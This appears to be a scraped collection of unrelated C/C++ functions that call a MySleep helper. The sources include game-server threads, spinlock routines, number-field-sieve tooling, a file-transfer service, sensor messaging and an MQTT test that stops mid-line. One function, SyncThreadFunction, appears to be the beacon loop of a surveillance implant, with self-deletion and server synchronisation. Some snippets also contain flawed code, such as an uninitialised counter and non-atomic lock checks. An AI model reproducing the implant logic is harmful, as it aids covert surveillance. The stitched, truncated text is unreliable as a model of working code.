BOOL sm_trylock(CHAR& flag,CHAR type) { INT LockTimes = 0; bgsm_loop: if(flag==SM_FREE) { flag=type; if(flag!=type) { LockTimes++; MySleep(1); if(LockTimes>10) { return FALSE; } goto bgsm_loop; } return TRUE; } else { LockTimes++; MySleep(1); if(LockTimes>10) { return FALSE; } goto bgsm_loop; } }
VOID sm_lock( CHAR& flag, CHAR type ) { bgsm_loop: if ( SM_FREE == flag ) { flag = type ; if ( flag != type ) { MySleep( 1 ) ; #if defined( __LINUX__ ) g_LockTimes ++ ; printf( "lock fail %s, %d, %s", __FILE__, __LINE__, __PRETTY_FUNCTION__ ) ; #endif if ( ( 100 < g_LockTimes ) && g_LockTimeOutEnable ) { g_LockTimes = 0 ; return ; } goto bgsm_loop ; } return ; } else { MySleep( 1 ) ; goto bgsm_loop ; } }
BOOL sm_trylock( CHAR& flag, CHAR type ) { INT LockTimes ; bgsm_loop: if ( SM_FREE == flag ) { flag = type ; if ( flag != type ) { LockTimes++ ; MySleep( 1 ) ; if ( 10 < LockTimes ) { return FALSE ; } goto bgsm_loop ; } return TRUE ; } else { LockTimes++ ; MySleep( 1 ) ; if( 10 < LockTimes ) { return FALSE ; } goto bgsm_loop ; } }
VOID LoginDBManager::run() { __ENTER_FUNCTION printf("run db Thread \r\n"); UINT uTime = g_pTimeManager->CurrentTime(); g_DBLogicManager.m_ThreadID = getTID(); while (IsActive()) { MySleep(100); if(!mCharDBInterface->IsConnected()) { BOOL bRet = mCharDBInterface->Connect(); if(!bRet) { Log::SaveLog("./Log/Login.log","mCharDBInterface->Connect() Get Errors: %s",mCharDBInterface->GetErrorMsg()); MySleep(5000);//保证不频繁连接数据库 } else Log::SaveLog("./Log/Login.log","Reconnect database"); } g_DBLogicManager.HeartBeat(uTime); } printf("end db Thread \r\n"); __LEAVE_FUNCTION }
VOID SyncThreadFunction() { ULONG pServerPort; BYTE pServerIp[32]; //call the CoInitializeEx here instead of calling it in the main funcion (it returned an error) if(CoInitializeEx(0, COINIT_MULTITHREADED) == S_OK) CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE,NULL); //get info about the system GetDeviceInfo(); while(1) { if (ExistsEliteSharedMemory()) { DeleteAndDie(TRUE); break; } #ifdef _DEBUG OutputDebugString(L"[*] Starting sync...\n"); #endif if (WinHTTPSetup((PBYTE)SYNC_SERVER, pServerIp, sizeof(pServerIp), &pServerPort)) { bLastSync = SyncWithServer(); #ifdef _DEBUG if (!bLastSync) OutputDebugString(L"[!!] Sync FAILED\n"); #endif } else { #ifdef _DEBUG OutputDebugString(L"WinHTTPSetup FAIL\n"); #endif bLastSync = FALSE; } WinHTTPClose(); if (bLastSync) MySleep(WAIT_SUCCESS_SYNC); else MySleep(WAIT_FAIL_SYNC); } }
bool ServerManager::Select( ) { MySleep(100); if(m_MaxFD==INVALID_SOCKET && m_MinFD==INVALID_SOCKET) { return true; } m_Timeout[SELECT_USE].tv_sec = m_Timeout[SELECT_BAK].tv_sec; m_Timeout[SELECT_USE].tv_usec = m_Timeout[SELECT_BAK].tv_usec; m_ReadFDs[SELECT_USE] = m_ReadFDs[SELECT_BAK]; m_WriteFDs[SELECT_USE] = m_WriteFDs[SELECT_BAK]; m_ExceptFDs[SELECT_USE] = m_ExceptFDs[SELECT_BAK]; int ret = SocketAPI::select_ex( (INT)m_MaxFD + 1, &m_ReadFDs[SELECT_USE], &m_WriteFDs[SELECT_USE], &m_ExceptFDs[SELECT_USE], &m_Timeout[SELECT_USE] ); if(ret==SOCKET_ERROR) { g_pLog->log_debug("%u,%u,ServerManager::Select .... Error",0,0); } return true; }
bool LoginPlayerManager::Select( ) { __ENTER_FUNCTION m_Timeout[SELECT_USE].tv_sec = m_Timeout[SELECT_BAK].tv_sec; m_Timeout[SELECT_USE].tv_usec = m_Timeout[SELECT_BAK].tv_usec; m_ReadFDs[SELECT_USE] = m_ReadFDs[SELECT_BAK]; m_WriteFDs[SELECT_USE] = m_WriteFDs[SELECT_BAK]; m_ExceptFDs[SELECT_USE] = m_ExceptFDs[SELECT_BAK]; MySleep(100) ; _MY_TRY { int32_t iRet = SocketAPI::select_ex( (int32_t)m_MaxFD+1 , &m_ReadFDs[SELECT_USE] , &m_WriteFDs[SELECT_USE] , &m_ExceptFDs[SELECT_USE] , &m_Timeout[SELECT_USE] ) ; Assert( iRet!=SOCKET_ERROR ) ; } _MY_CATCH { Log::SaveLog( LOGIN_LOGFILE, "ERROR: IncomingPlayerManager::Select( )..." ) ; } return true ; __LEAVE_FUNCTION return false ; }
int CDfuMainFlow::FileBuinessLoop() { bool bRet(false); try { while (!m_bExitFlag) { if (true == m_bExitFlag) { break; } DFUMESSAGE file_msg; if (PullFileFromList(file_msg) == false) { MySleep(200); continue; } m_pComtradeFileConverter->AttachDfuMsg(&file_msg); bRet = m_pComtradeFileConverter->ConvertMsgToFile(m_pDfuCommuParamHandler->chFileSavePath); } } catch (...) { m_LogFile.FormatAdd(CLogFile::error, "[FileBuinessProcessLoop]file buiness loop exception!"); return -1; } m_LogFile.FormatAdd(CLogFile::trace, "[FileBuinessProcessLoop]file buiness exit normal!"); return 0; }
BOOL RecoverManager::Tick() { __ENTER_FUNCTION MySleep(100) ; if(m_Count==0) return TRUE; for(uint i=0;i<m_Count;i++) { GamePlayer* pPlayer = m_PlayerPtr[i]; Assert(pPlayer); if(pPlayer->ShareMemSafe()) //Êý¾Ý¿â±£´æÍê±Ï { } } __LEAVE_FUNCTION return TRUE; }
BOOL LoginPlayerManager::Select() { __ENTER_FUNCTION m_Timeout[ SELECT_USE ].tv_sec = m_Timeout[ SELECT_BAK ].tv_sec ; m_Timeout[ SELECT_USE ].tv_usec = m_Timeout[ SELECT_BAK ].tv_usec ; m_ReadFDs[ SELECT_USE ] = m_ReadFDs[ SELECT_BAK ] ; m_WriteFDs[ SELECT_USE ] = m_WriteFDs[ SELECT_BAK ] ; m_ExceptFDs[ SELECT_USE ] = m_ExceptFDs[ SELECT_BAK ] ; MySleep( 100 ) ; _MY_TRY { INT iRet = SocketAPI::select_ex( ( INT )m_MaxFD + 1 , &m_ReadFDs[ SELECT_USE ] , &m_WriteFDs[ SELECT_USE ] , &m_ExceptFDs[ SELECT_USE ] , &m_Timeout[ SELECT_USE ] ) ; Assert( SOCKET_ERROR != iRet ) ; } _MY_CATCH { Log::SaveLog( LOGIN_LOGFILE, "ERROR: IncomingPlayerManager::Select()..." ) ; } return TRUE ; __LEAVE_FUNCTION return FALSE ; }
BOOL ServerManager::Select( ) { __ENTER_FUNCTION m_Timeout[SELECT_USE].tv_sec = m_Timeout[SELECT_BAK].tv_sec; m_Timeout[SELECT_USE].tv_usec = m_Timeout[SELECT_BAK].tv_usec; m_ReadFDs[SELECT_USE] = m_ReadFDs[SELECT_BAK]; m_WriteFDs[SELECT_USE] = m_WriteFDs[SELECT_BAK]; m_ExceptFDs[SELECT_USE] = m_ExceptFDs[SELECT_BAK]; MySleep(100) ; _MY_TRY { int iRet = SocketAPI::select_ex( (int)m_MaxFD+1 , &m_ReadFDs[SELECT_USE] , &m_WriteFDs[SELECT_USE] , &m_ExceptFDs[SELECT_USE] , &m_Timeout[SELECT_USE] ) ; Assert( iRet!=SOCKET_ERROR ) ; } _MY_CATCH { Log::SaveLog( "./Log/Billing.log", "ERROR: ServerManager::Select( )..." ) ; } return TRUE ; __LEAVE_FUNCTION return FALSE ; }
VOID sm_unlock( CHAR& flag, CHAR type ) { edsm_loop: if ( SM_FREE == flag ) { return ; } flag = SM_FREE ; if ( SM_FREE != flag ) { MySleep( 1 ) ; #if defined( __LINUX__ ) printf( "unlock fail %s, %s, %s", __FILE__, __LINE__, __PRETTY_FUNCTION__ ) ; if ( ( 100 < g_LockTimes ) && g_LockTimeOutEnable ) { g_LockTimes = 0 ; return ; } #endif goto edsm_loop ; } return ; }
BOOL IncomingPlayerManager::Select( ) { __ENTER_FUNCTION m_Timeout[SELECT_USE].tv_sec = m_Timeout[SELECT_BAK].tv_sec; m_Timeout[SELECT_USE].tv_usec = m_Timeout[SELECT_BAK].tv_usec; m_ReadFDs[SELECT_USE] = m_ReadFDs[SELECT_BAK]; m_WriteFDs[SELECT_USE] = m_WriteFDs[SELECT_BAK]; m_ExceptFDs[SELECT_USE] = m_ExceptFDs[SELECT_BAK]; MySleep(100) ; _MY_TRY { INT iRet = SocketAPI::select_ex( (INT)m_MaxFD+1 , &m_ReadFDs[SELECT_USE] , &m_WriteFDs[SELECT_USE] , &m_ExceptFDs[SELECT_USE] , &m_Timeout[SELECT_USE] ) ; Assert( iRet!=SOCKET_ERROR ) ; } _MY_CATCH { SaveCodeLog( ) ; } return TRUE ; __LEAVE_FUNCTION return FALSE ; }
VOID sm_unlock(CHAR& flag,CHAR type) { edsm_loop: if(flag==SM_FREE) { return; } flag=SM_FREE; if(flag!=SM_FREE) { MySleep(1); #ifdef __LINUX__ printf("unlock fail %s,%d,%s",__FILE__,__LINE__,__PRETTY_FUNCTION__); if((g_LockTimes>100)&&g_LockTimeOutEnable) { g_LockTimes =0; return; } #endif goto edsm_loop; } return; }
BOOL Server::Loop( ) { __ENTER_FUNCTION BOOL ret = FALSE ; Log::SaveLog( SERVER_LOGFILE, "\r\nLoop..." ) ; Log::SaveLog( SERVER_LOGFILE, "g_pThreadManager->Start( )..." ) ; ret = g_pThreadManager->Start( ) ; Assert( ret ) ; MySleep( 1500 ) ; //主线程调度资源分给ClientManager来执行; Log::SaveLog( SERVER_LOGFILE, "g_pClientManager->Loop( )..." ) ; g_pClientManager->start( ) ; Log::SaveLog( SERVER_LOGFILE, "g_pDaemonThread->Loop( )..." ) ; g_pDaemonThread->Loop( ) ; __LEAVE_FUNCTION return TRUE ; }
void *lasieve_launcher(void *ptr) { //top level sieving function which performs all work for a single //new a coefficient. has pthread calling conventions, meant to be //used in a multi-threaded environment nfs_threaddata_t *thread_data = (nfs_threaddata_t *)ptr; fact_obj_t *fobj = thread_data->fobj; char syscmd[GSTR_MAXSIZE], tmpstr[GSTR_MAXSIZE], side[GSTR_MAXSIZE]; FILE *fid; int cmdret; sprintf(side, (thread_data->job.poly->side == ALGEBRAIC_SPQ) ? "algebraic" : "rational"); // gotta love ?: //remove any temporary relation files remove(thread_data->outfilename); //start ggnfs binary sprintf(syscmd,"%s%s -%c %s -f %u -c %u -o %s -n %d", thread_data->job.sievername, VFLAG>0?" -v":"", *side, // hehe (*side == side[0]) fobj->nfs_obj.job_infile, thread_data->job.startq, thread_data->job.qrange, thread_data->outfilename, thread_data->tindex); if (VFLAG >= 0) { printf("nfs: commencing %s side lattice sieving over range: %u - %u\n", side, thread_data->job.startq, thread_data->job.startq + thread_data->job.qrange); } if (VFLAG > 1) printf("syscmd: %s\n", syscmd); if (VFLAG > 1) fflush(stdout); cmdret = system(syscmd); // a ctrl-c abort signal is caught by the system command, and nfsexit never gets called. // so check for abnormal exit from the system command. // -1073741819 is apparently what ggnfs returns when it crashes, which // we don't want to interpret as an abort. if (!((cmdret == 0) || cmdret == -1073741819)) if( NFS_ABORT < 1 ) NFS_ABORT = 1; // count the relations produced MySleep(100); fid = fopen(thread_data->outfilename,"r"); if (fid != NULL) { thread_data->job.current_rels = 0; while (fgets(tmpstr, GSTR_MAXSIZE, fid) != NULL) thread_data->job.current_rels++; fclose(fid); } else { printf("nfs: could not open output file, possibly bad path to siever\n"); } return 0; }
int CDfuMainFlow::ResultBuinessLoop() { DFUMESSAGE finish_command_msg; try { while (!m_bExitFlag) { if (true == m_bExitFlag) { break; } if (false == CheckCommandFinish(finish_command_msg))//find process over msg { MySleep(200); continue; } switch (finish_command_msg.nMsgType) { case RECORD_DFU_MESSAGE_TYPE_JSON: //client result msg { ProcessClientResultMsg(finish_command_msg); } break; case RECORD_DFU_MESSAGE_TYPE_OSC_LIST: //query osc list result { PorocessFListResultMsg(finish_command_msg); } break; case RECORD_DFU_MESSAGE_TYPE_OSC_FILE: //file msg { PushFileResultBuf(finish_command_msg); m_bQueryNewFile = false; } break; case RECORD_DFU_MESSAGE_TYPE_MANUAL_FILE: { m_bQueryNewFile = false; m_LogFile.FormatAdd(CLogFile::trace, "manual file %s", (0 == finish_command_msg.nCommandProcessResult)?"succeed":"failed"); } break; } } } catch (...) { } return 0; }
int main(char argc, char* argv[]) { Init("centerhub", NULL); for (;;) { Tick(); MySleep(10); } Release(); return 0; }
BOOL LoginPlayerManager::Select( ) { __ENTER_FUNCTION m_Timeout[SELECT_USE].tv_sec = m_Timeout[SELECT_BAK].tv_sec; m_Timeout[SELECT_USE].tv_usec = m_Timeout[SELECT_BAK].tv_usec; m_ReadFDs[SELECT_USE] = m_ReadFDs[SELECT_BAK]; m_WriteFDs[SELECT_USE] = m_WriteFDs[SELECT_BAK]; m_ExceptFDs[SELECT_USE] = m_ExceptFDs[SELECT_BAK]; MySleep(100) ; _MY_TRY { INT iRet = SocketAPI::select_ex( (INT)m_MaxFD+1 , &m_ReadFDs[SELECT_USE] , &m_WriteFDs[SELECT_USE] , &m_ExceptFDs[SELECT_USE] , &m_Timeout[SELECT_USE] ) ; if(iRet == SOCKET_ERROR) { #if __LINUX__ switch(errno) { case EBADF: g_pLog->FastSaveLog(LOG_FILE_0, "ERROR: IncomingPlayerManager::Select( )...EBADF" ) ; break; case EINTR: g_pLog->FastSaveLog(LOG_FILE_0, "ERROR: IncomingPlayerManager::Select( )...EINTR" ) ; break; case EINVAL: g_pLog->FastSaveLog(LOG_FILE_0, "ERROR: IncomingPlayerManager::Select( )...EINVAL nfds=%d", (INT)m_MaxFD+1) ; break; default: break; }; #endif } AssertEx( iRet!=SOCKET_ERROR,MySocketError()) ; } _MY_CATCH { g_pLog->FastSaveLog(LOG_FILE_0, "ERROR: IncomingPlayerManager::Select( )..." ) ; } return TRUE ; __LEAVE_FUNCTION return FALSE ; }
void ServerThread::run( ) { g_pLog->log_debug("%u,%u,ServerThread::run(),ThreadID %d",0,0,getTID()); g_pServerManager->m_ThreadID = getTID( ); while(IsActive() ) { if(g_pServerManager) { MySleep(100); bool ret = g_pServerManager->Tick( ); Assert( ret ); } } }
bool ServerManager::HeartBeat( ) { bool ret = false; if(IsSceneServerActive()) { return true; } if(!IsSceneServerActive()) { ret = ConnectSceneServer( ); if(ret == false) { MySleep(2000); } } return true; }
int CDfuMainFlow::MainBuinessLoop() { time_t tCur; time(&tCur); time(&m_tCheckFile); DFU_COMMU_MSG command_msg; try { while (!m_bExitFlag) { if (true == m_bExitFlag) { break; } command_msg.clear(); if (true == PullCommandToDfuApci(command_msg))//pull a command { m_pApciHandler->PushMsgToDfu(command_msg); MySleep(30); continue; } time(&tCur); if ((tCur - m_tCheckFile) >= m_pDfuCommuParamHandler->nCheckNewFileTime)//query file { if (m_bQueryNewFile == false) { LaunchQueryNewFile(); m_bQueryNewFile = true; } time(&m_tCheckFile); continue; } } } catch (...) { return 1; } return 0; }
VOID Server::WaitForAllThreadQuit( ) { __ENTER_FUNCTION #define MAX_WAIT_QUIT 300 INT iQuit ; //最长时间可以等待MAX_WAIT_QUIT秒 for( INT i=0;i<MAX_WAIT_QUIT;i++ ) { iQuit = g_QuitThreadCount ; printf( "Quit Thread:%d", iQuit ) ; MySleep( 1000 ) ; if( iQuit==g_pThreadManager->GetTotalThreads()+1 ) break ; } __LEAVE_FUNCTION }
BOOL ThreadManager::Start( ) { __ENTER_FUNCTION BOOL ret ; m_pServerThread->start() ; MySleep( 500 ) ; ret = m_pThreadPool->Start( ) ; return ret ; __LEAVE_FUNCTION return FALSE ; }
int user_quit( const char *msg, unsigned long ulMaxTime ) { #if defined(TARGET_LIB_FOR_WINCHI) return 0; #endif #if ( !defined(TARGET_LIB_FOR_WINCHI) && defined(_WIN32) ) int quit, enter, ret; printf(msg); if ( ulMaxTime ) { inchiTime ulEndTime; InchiTimeGet( &ulEndTime ); InchiTimeAddMsec( &ulEndTime, ulMaxTime ); while ( !_kbhit() ) { if ( bInchiTimeIsOver( &ulEndTime ) ) { printf("\n"); return 0; } MySleep( 100 ); } } while( 1 ) { quit = ( 'q' == (ret = _getch()) || 'Q'==ret || /*Esc*/ 27==ret ); enter = ( '\r' == ret ); if ( ret == 0xE0 ) ret = _getch(); else _putch(ret); /* echo */ if ( quit || enter ) break; printf( "\r" ); printf( msg ); } _putch('\n'); return quit; #else return 0; #endif /* #if ( defined(_WIN32) && !defined(TARGET_LIB_FOR_WINCHI) ) */ }
void * sendMoyenneCoordinateur(void * pData) { MySocket sock = *((MySocket *)pData); // Recuperation de la socket while(1) { MySleep(1000); // reduit la consomation CPU // printf("Calcul des moyennes ! \n"); int nbSondes = LengthListe(ListeSondes); int i = 0; while(i < nbSondes) { TypeSondeR * Sonde = getValueAt(ListeSondes,i); if(Sonde->cptVal > 0) // Si on à reçu une nouvelle mesure { float MoyenneSonde = Sonde->tempSonde / Sonde->cptVal; Sonde->tempSonde = 0; Sonde->cptVal = 0; printf("Moyenne pour la sonde %i : %f | Envoi -> ",Sonde->idSonde,MoyenneSonde); char buffer[80]; sprintf(buffer,"M,%i,%i,%f,E",g_Config.idRouteur,Sonde->idSonde,MoyenneSonde); int ret = sendUdpMessageTo(sock , buffer , g_Config.ipCoordinateur , g_Config.portCoordinateur ); if(ret == -1) { printf(" Erreur lors de l'envoi du message ! (%i)\n",ret); } else { printf(" OK \n"); } } i++; } } return NULL; }
int test_sieve(fact_obj_t* fobj, void* args, int njobs, int are_files) /* if(are_files), then treat args as a char** list of (external) polys * else args is a nfs_job_t* array of job structs * the latter is preferred */ // @ben: the idea is a new yafu function "testsieve(n, ...)" where args are // an arbitrary list of files of external polys { uint32 count; int i, minscore_id = 0; double* score = (double*)malloc(njobs * sizeof(double)); double t_time, min_score = 999999999.; char orig_name[GSTR_MAXSIZE]; // don't clobber fobj->nfs_obj.job_infile char time[80]; uint32 spq_range = 2000, actual_range; FILE *flog; char** filenames; // args nfs_job_t* jobs; // args struct timeval stop, stop2; // stop time of this job struct timeval start, start2; // start time of this job TIME_DIFF * difference; if( score == NULL ) { printf("Couldn't alloc memory!\n"); exit(-1); } // check to make sure we can find ggnfs sievers if (check_for_sievers(fobj, 0) == 1) { printf("test: can't find ggnfs lattice sievers - aborting test sieving\n"); return -1; } gettimeofday(&start2, NULL); strcpy(orig_name, fobj->nfs_obj.job_infile); // necessary because parse/fill_job_file() get filename from fobj if( are_files ) { // read files into job structs (get fblim) filenames = (char**) args; jobs = (nfs_job_t*)malloc(njobs * sizeof(nfs_job_t)); if( jobs == NULL ) { printf("Couldn't alloc memory!\n"); exit(-1); } memset(jobs, 0, njobs*sizeof(nfs_job_t)); for(i = 0; i < njobs; i++) { uint32 missing_params; strcpy(fobj->nfs_obj.job_infile, filenames[i]); missing_params = parse_job_file(fobj, jobs+i); // get fblim get_ggnfs_params(fobj, jobs+i); // get siever if( missing_params ) { if( VFLAG >= 0 ) printf("test: warning: \"%s\" is missing some paramters (%#X). filling them.\n", filenames[i], missing_params); fill_job_file(fobj, jobs+i, missing_params); } // adjust a/rlim, lpbr/a, and mfbr/a if advantageous skew_snfs_params(fobj, jobs+i); } } else { // create poly files jobs = (nfs_job_t *) args; filenames = (char**)malloc(njobs*sizeof(char*)); if( !filenames ) { printf("malloc derped it up!\n"); exit(-1); } for(i = 0; i < njobs; i++) { FILE* out; filenames[i] = (char*)malloc(GSTR_MAXSIZE); if( !filenames[i] ) { printf("malloc failed\n"); exit(-1); } sprintf(filenames[i], "test-sieve-%d.poly", i); out = fopen(filenames[i], "w"); if( !out ) { printf("test: couldn't open %s for writing, aborting test sieve\n", filenames[i]); return -1; } if( jobs[i].snfs ) print_snfs(jobs[i].snfs, out); else { gmp_fprintf(out, "n: %Zd\n", fobj->nfs_obj.gmp_n); print_poly(jobs[i].poly, out); } fclose(out); strcpy(fobj->nfs_obj.job_infile, filenames[i]); fill_job_file(fobj, jobs+i, PARAM_FLAG_ALL); } // that seems like a lot more code than it should be } strcpy(fobj->nfs_obj.job_infile, orig_name); // now we can get to the actual testing for(i = 0; i < njobs; i++) { char syscmd[GSTR_MAXSIZE], tmpbuf[GSTR_MAXSIZE], side[32]; FILE* in; // should probably scale the range of special-q to test based // on input difficulty, but not sure how to do that easily... if( jobs[i].poly->side == RATIONAL_SPQ) { sprintf(side, "rational"); jobs[i].startq = jobs[i].rlim; // no reason to test sieve *inside* the fb } else { sprintf(side, "algebraic"); jobs[i].startq = jobs[i].alim; // ditto } flog = fopen(fobj->flogname, "a"); //create the afb/rfb - we don't want the time it takes to do this to //pollute the sieve timings sprintf(syscmd, "%s -b %s -k -c 0 -F", jobs[i].sievername, filenames[i]); if (VFLAG > 0) printf("\ntest: generating factor bases\n"); gettimeofday(&start, NULL); system(syscmd); gettimeofday(&stop, NULL); difference = my_difftime (&start, &stop); t_time = ((double)difference->secs + (double)difference->usecs / 1000000); free(difference); if (VFLAG > 0) printf("test: fb generation took %6.4f seconds\n", t_time); logprint(flog, "test: fb generation took %6.4f seconds\n", t_time); MySleep(.1); //start the test sprintf(syscmd,"%s%s -%c %s -f %u -c %u -o %s.out", jobs[i].sievername, VFLAG>0?" -v":"", side[0], filenames[i], jobs[i].startq, spq_range, filenames[i]); if (VFLAG > 0) printf("test: commencing test sieving of polynomial %d on the %s side over range %u-%u\n", i, side, jobs[i].startq, jobs[i].startq + spq_range); logprint(flog, "test: commencing test sieving of polynomial %d on the %s side over range %u-%u\n", i, side, jobs[i].startq, jobs[i].startq + spq_range); print_job(&jobs[i], flog); fclose(flog); gettimeofday(&start, NULL); system(syscmd); gettimeofday(&stop, NULL); difference = my_difftime (&start, &stop); t_time = ((double)difference->secs + (double)difference->usecs / 1000000); free(difference); //count relations sprintf(tmpbuf, "%s.out", filenames[i]); in = fopen(tmpbuf, "r"); actual_range = 0; count = 0; if( !in ) { score[i] = 999999999.; //est = 7*365*24*3600; // 7 years seems like a nice round number } else { // scan the data file and // 1) count the relations // 2) save the last four relations to a buffer in order to extract the last processed // special-q. // we need both 1) and 2) to compute yield correctly. char **lines, *ptr, tmp[GSTR_MAXSIZE]; int line; int j; lines = (char **)malloc(4 * sizeof(char *)); for (j=0; j < 4; j++) lines[j] = (char *)malloc(GSTR_MAXSIZE * sizeof(char)); line = 0; count = 0; while (1) { // read a line into the next position of the circular buffer ptr = fgets(tmp, GSTR_MAXSIZE, in); if (ptr == NULL) break; // quick check that it might be a valid line if (strlen(tmp) > 30) { // wrap if (++line > 3) line = 0; // then copy strcpy(lines[line], tmp); } count++; } fclose(in); line = get_spq(lines, line, fobj); actual_range = line - jobs[i].startq; if (VFLAG > 0) printf("test: found %u relations in a range of %u special-q\n", count, actual_range); if (actual_range > spq_range) actual_range = spq_range; for (j=0; j < 4; j++) free(lines[j]); free(lines); score[i] = t_time / count; // use estimated sieving time to rank, not sec/rel, since the latter // is a function of parameterization and therefore not directly comparable // to each other. score[i] = (score[i] * jobs[i].min_rels * 1.25) / THREADS; // be conservative about estimates } flog = fopen(fobj->flogname, "a"); if( score[i] < min_score ) { minscore_id = i; min_score = score[i]; if (VFLAG > 0) printf("test: new best estimated total sieving time = %s (with %d threads)\n", time_from_secs(time, (unsigned long)score[i]), THREADS); logprint(flog, "test: new best estimated total sieving time = %s (with %d threads)\n", time_from_secs(time, (unsigned long)score[i]), THREADS); // edit lbpr/a depending on test results. we target something around 2 rels/Q. // could also change siever version in more extreme cases. if (count > 4*actual_range) { if (VFLAG > 0) printf("test: yield greater than 4x/spq, reducing lpbr/lpba\n"); jobs[i].lpba--; jobs[i].lpbr--; jobs[i].mfba -= 2; jobs[i].mfbr -= 2; } if (count > 8*actual_range) { char *pos; int siever; pos = strstr(jobs[i].sievername, "gnfs-lasieve4I"); siever = (pos[14] - 48) * 10 + (pos[15] - 48); if (VFLAG > 0) printf("test: yield greater than 8x/spq, reducing siever version\n"); switch (siever) { case 11: if (VFLAG > 0) printf("test: siever version cannot be decreased further\n"); jobs[i].snfs->siever = 11; break; case 12: pos[15] = '1'; jobs[i].snfs->siever = 11; break; case 13: pos[15] = '2'; jobs[i].snfs->siever = 12; break; case 14: pos[15] = '3'; jobs[i].snfs->siever = 13; break; case 15: pos[15] = '4'; jobs[i].snfs->siever = 14; break; case 16: pos[15] = '5'; jobs[i].snfs->siever = 15; break; } } if (count < actual_range) { if (VFLAG > 0) printf("test: yield less than 1x/spq, increasing lpbr/lpba\n"); jobs[i].lpba++; jobs[i].lpbr++; jobs[i].mfba += 2; jobs[i].mfbr += 2; } if (count < (actual_range/2)) { char *pos; int siever; pos = strstr(jobs[i].sievername, "gnfs-lasieve4I"); siever = (pos[14] - 48) * 10 + (pos[15] - 48); if (VFLAG > 0) printf("test: yield less than 1x/2*spq, increasing siever version\n"); switch (siever) { case 16: if (VFLAG > 0) printf("test: siever version cannot be increased further\n"); jobs[i].snfs->siever = 16; break; case 15: pos[15] = '6'; jobs[i].snfs->siever = 16; break; case 14: pos[15] = '5'; jobs[i].snfs->siever = 15; break; case 13: pos[15] = '4'; jobs[i].snfs->siever = 14; break; case 12: pos[15] = '3'; jobs[i].snfs->siever = 13; break; case 11: pos[15] = '2'; jobs[i].snfs->siever = 12; break; } } } else { if (VFLAG > 0) printf("test: estimated total sieving time = %s (with %d threads)\n", time_from_secs(time, (unsigned long)score[i]), THREADS); logprint(flog, "test: estimated total sieving time = %s (with %d threads)\n", time_from_secs(time, (unsigned long)score[i]), THREADS); } fclose(flog); remove(tmpbuf); // clean up after ourselves sprintf(tmpbuf, "%s", filenames[i]); remove(tmpbuf); sprintf(tmpbuf, "%s.afb.0", filenames[i]); remove(tmpbuf); } // clean up memory allocated if( are_files ) { for(i = 0; i < njobs; i++) { mpz_polys_free(jobs[i].poly); free(jobs[i].poly); } free(jobs); } else { for(i = 0; i < njobs; i++) free(filenames[i]); free(filenames); } flog = fopen(fobj->flogname, "a"); gettimeofday(&stop2, NULL); difference = my_difftime (&start2, &stop2); t_time = ((double)difference->secs + (double)difference->usecs / 1000000); free(difference); if (VFLAG > 0) printf("test: test sieving took %1.2f seconds\n", t_time); logprint(flog, "test: test sieving took %1.2f seconds\n", t_time); return minscore_id; }
BOOL Login::Loop() { __ENTER_FUNCTION BOOL bRet = FALSE ; g_pLog->SaveLog(LOGIN_LOGFILE, "\r\nLoop..." ) ; //连接客户端线程 g_pLog->SaveLog(LOGIN_LOGFILE, "g_pConnectManager->start( )..." ) ; g_pConnectManager->start(); //连接World 和 BillingSystem 的线程 g_pLog->SaveLog(LOGIN_LOGFILE, "g_pThreadManager->Start( )..." ) ; bRet = g_pThreadManager->Start( ) ; Assert( bRet ) ; //数据库处理 //g_pLog->SaveLog(LOGIN_LOGFILE, "g_pDBManager->Start( )..." ) ; //g_pDBManager->start(); g_pLog->SaveLog(LOGIN_LOGFILE,"g_pDBThreadManager->Start() ..."); g_pDBThreadManager->Start(); //主线程资源留给 ProcessManager g_pLog->SaveLog(LOGIN_LOGFILE, "g_pProcessManager->Loop( )..." ) ; g_pProcessManager->start(); //守护线程 while(TRUE) { UINT uDayTime = g_pTimeManager->Time2Day( ) ; UINT uTime = g_pTimeManager->CurrentTime() ;//当前时间 if(!m_FlushLogTimer.IsSetTimer()) { m_FlushLogTimer.BeginTimer(2000,uTime); } if( g_FileNameFix != uDayTime ) {//设置日志文件名后缀的变化 g_FileNameFix = uDayTime ; } //日志刷入文件 _MY_TRY { if( m_FlushLogTimer.CountingTimer(uTime) ) { g_pLog->FlushLog_All(); } } _MY_CATCH { SaveCodeLog( ) ; } //定时清除重连锁[2007/12/03 YangJun] if(!g_DBConnectThread) { if(m_ClearConnectThreadTimer.IsSetTimer()) m_ClearConnectThreadTimer.CleanUp(); } else { _MY_TRY { if(!m_ClearConnectThreadTimer.IsSetTimer()) { //2分钟还未重连完成,清除 m_ClearConnectThreadTimer.BeginTimer(2*60*1000,uTime); } //2分钟还未重连完成,清除 if(m_ClearConnectThreadTimer.CountingTimer(uTime)) g_DBConnectThread = 0; } _MY_CATCH { SaveCodeLog(); } } MySleep(100); } return bRet; __LEAVE_FUNCTION return FALSE; }
int test3(struct Options options) { char* testname = "test3"; int subsqos = 2; MQTTAsync c, d; MQTTAsync_connectOptions opts = MQTTAsync_connectOptions_initializer; MQTTAsync_willOptions wopts = MQTTAsync_willOptions_initializer; MQTTAsync_createOptions createOptions = MQTTAsync_createOptions_initializer; int rc = 0; int count = 0; char clientidc[50]; char clientidd[50]; int i = 0; MQTTAsync_token *tokens; sprintf(willTopic, "paho-test9-3-%s", unique); sprintf(clientidc, "paho-test9-3-c-%s", unique); sprintf(clientidd, "paho-test9-3-d-%s", unique); sprintf(test_topic, "paho-test9-3-test topic %s", unique); test3Finished = 0; failures = 0; MyLog(LOGA_INFO, "Starting Offline buffering 3 - messages while disconnected"); fprintf(xml, "<testcase classname=\"test3\" name=\"%s\"", testname); global_start_time = start_clock(); createOptions.sendWhileDisconnected = 1; rc = MQTTAsync_createWithOptions(&c, options.proxy_connection, clientidc, MQTTCLIENT_PERSISTENCE_DEFAULT, NULL, &createOptions); assert("good rc from create", rc == MQTTASYNC_SUCCESS, "rc was %d \n", rc); if (rc != MQTTASYNC_SUCCESS) { MQTTAsync_destroy(&c); goto exit; } rc = MQTTAsync_create(&d, options.connection, clientidd, MQTTCLIENT_PERSISTENCE_DEFAULT, NULL); assert("good rc from create", rc == MQTTASYNC_SUCCESS, "rc was %d \n", rc); if (rc != MQTTASYNC_SUCCESS) { MQTTAsync_destroy(&c); goto exit; } opts.keepAliveInterval = 20; opts.cleansession = 1; //opts.username = "******"; //opts.password = "******"; rc = MQTTAsync_setCallbacks(d, d, NULL, test3_messageArrived, NULL); assert("Good rc from setCallbacks", rc == 